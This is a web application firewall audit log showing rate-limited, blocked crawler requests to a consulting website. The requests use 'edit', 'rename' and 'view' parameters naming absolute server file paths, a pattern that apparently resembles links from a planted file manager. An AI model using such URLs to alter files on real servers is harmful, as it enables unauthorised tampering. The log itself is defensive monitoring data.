{"transaction":{"time":"13/Mar/2026:09:43:19.782703 +0100","transaction_id":"abPOJ-EAMg66iR7kG38gDwAAA00","remote_address":"216.73.216.152","remote_port":45094,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fabout-4.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a1ab0e6c370ad22ed7d97d5905c03512","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10849215"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a1ab0e6c370ad22ed7d97d5905c03512","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/about-4.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":171,"p2":1778,"p3":0,"p4":0,"p5":356,"sr":103,"sw":79,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:47.667985 +0100","transaction_id":"abPOQ7J190y1fElY11bmqwAAAIY","remote_address":"216.73.216.152","remote_port":40436,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fowl.theme.green.min.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"04f6ebf1e34fda0d2e60cf2107b653a6","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6786713"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"04f6ebf1e34fda0d2e60cf2107b653a6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/owl.theme.green.min.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":277,"p2":2031,"p3":0,"p4":0,"p5":594,"sr":120,"sw":108,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:47.752434 +0100","transaction_id":"abPOQ1RY1ZHue1KnYxop7gAAApE","remote_address":"216.73.216.152","remote_port":43346,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2FPRESI.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7c312233d1b1da8b75ec3a02d14b7b66","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4202080"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7c312233d1b1da8b75ec3a02d14b7b66","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/PRESI.jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":190,"p2":1829,"p3":0,"p4":0,"p5":430,"sr":123,"sw":87,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:47.836933 +0100","transaction_id":"abPOQ2-XEucyBza91ntl2wAAAxc","remote_address":"216.73.216.152","remote_port":45046,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2F_+%2814%29.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"aa062c7bb8fb041650ef399d498c35a5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4786003"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"aa062c7bb8fb041650ef399d498c35a5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/_ (14).jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":305,"p2":2162,"p3":0,"p4":0,"p5":568,"sr":124,"sw":98,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:47.848717 +0100","transaction_id":"abPOQ2-XEucyBza91ntl3AAAAxc","remote_address":"216.73.216.152","remote_port":45046,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2FManu2.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"4351000866526ec5c094e188aaf5f13f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4202083"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"4351000866526ec5c094e188aaf5f13f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/Manu2.jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":244,"p2":2262,"p3":0,"p4":0,"p5":397,"sr":121,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:47.926624 +0100","transaction_id":"abPOQ0xHnLkyPWuTIW5cKQAAAYI","remote_address":"216.73.216.152","remote_port":43326,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2FStella.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e463ede24bbd3f2fa74da95e380e9300","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4786006"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e463ede24bbd3f2fa74da95e380e9300","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/Stella.jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":176,"p2":1829,"p3":0,"p4":0,"p5":408,"sr":107,"sw":85,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:48.018473 +0100","transaction_id":"abPORExHnLkyPWuTIW5cKgAAAYI","remote_address":"216.73.216.152","remote_port":43326,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Feasing.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"441fdcd768417f33c4f6c90e697502d3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4786009"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"441fdcd768417f33c4f6c90e697502d3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/easing.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":176,"p2":1759,"p3":0,"p4":0,"p5":331,"sr":103,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:48.109455 +0100","transaction_id":"abPORExHnLkyPWuTIW5cKwAAAYI","remote_address":"216.73.216.152","remote_port":43326,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fcaro3.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5e77db645cb43c34e2ac6233cf96bfe9","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13633855"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5e77db645cb43c34e2ac6233cf96bfe9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/caro3.jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":174,"p2":1861,"p3":0,"p4":0,"p5":375,"sr":106,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:48.200197 +0100","transaction_id":"abPORExHnLkyPWuTIW5cLAAAAYI","remote_address":"216.73.216.152","remote_port":43326,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fwow.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d2d4941153b55bdd2c02a149ccfa7b08","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4786012"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d2d4941153b55bdd2c02a149ccfa7b08","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/wow.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":181,"p2":1791,"p3":0,"p4":0,"p5":342,"sr":120,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:48.290590 +0100","transaction_id":"abPORFRY1ZHue1KnYxop7wAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fpartenaire3.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c0d0affcd6cd7826e14ee43c9202501d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13633858"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c0d0affcd6cd7826e14ee43c9202501d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/partenaire3.jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":187,"p2":1666,"p3":0,"p4":0,"p5":288,"sr":95,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:48.382084 +0100","transaction_id":"abPORExHnLkyPWuTIW5cLQAAAYI","remote_address":"216.73.216.152","remote_port":43326,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fpac.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"330286180f438509b2922d968355ea63","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13633861"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"330286180f438509b2922d968355ea63","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/pac.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":180,"p2":1670,"p3":0,"p4":0,"p5":318,"sr":108,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:48.474057 +0100","transaction_id":"abPORKg_lPa2owFZ6_PuhwAAAQE","remote_address":"216.73.216.152","remote_port":43330,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fmain.go HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"dd75449d579714cc60330d4cee345292","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8916799"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"dd75449d579714cc60330d4cee345292","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/main.go& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":182,"p2":1684,"p3":0,"p4":0,"p5":280,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
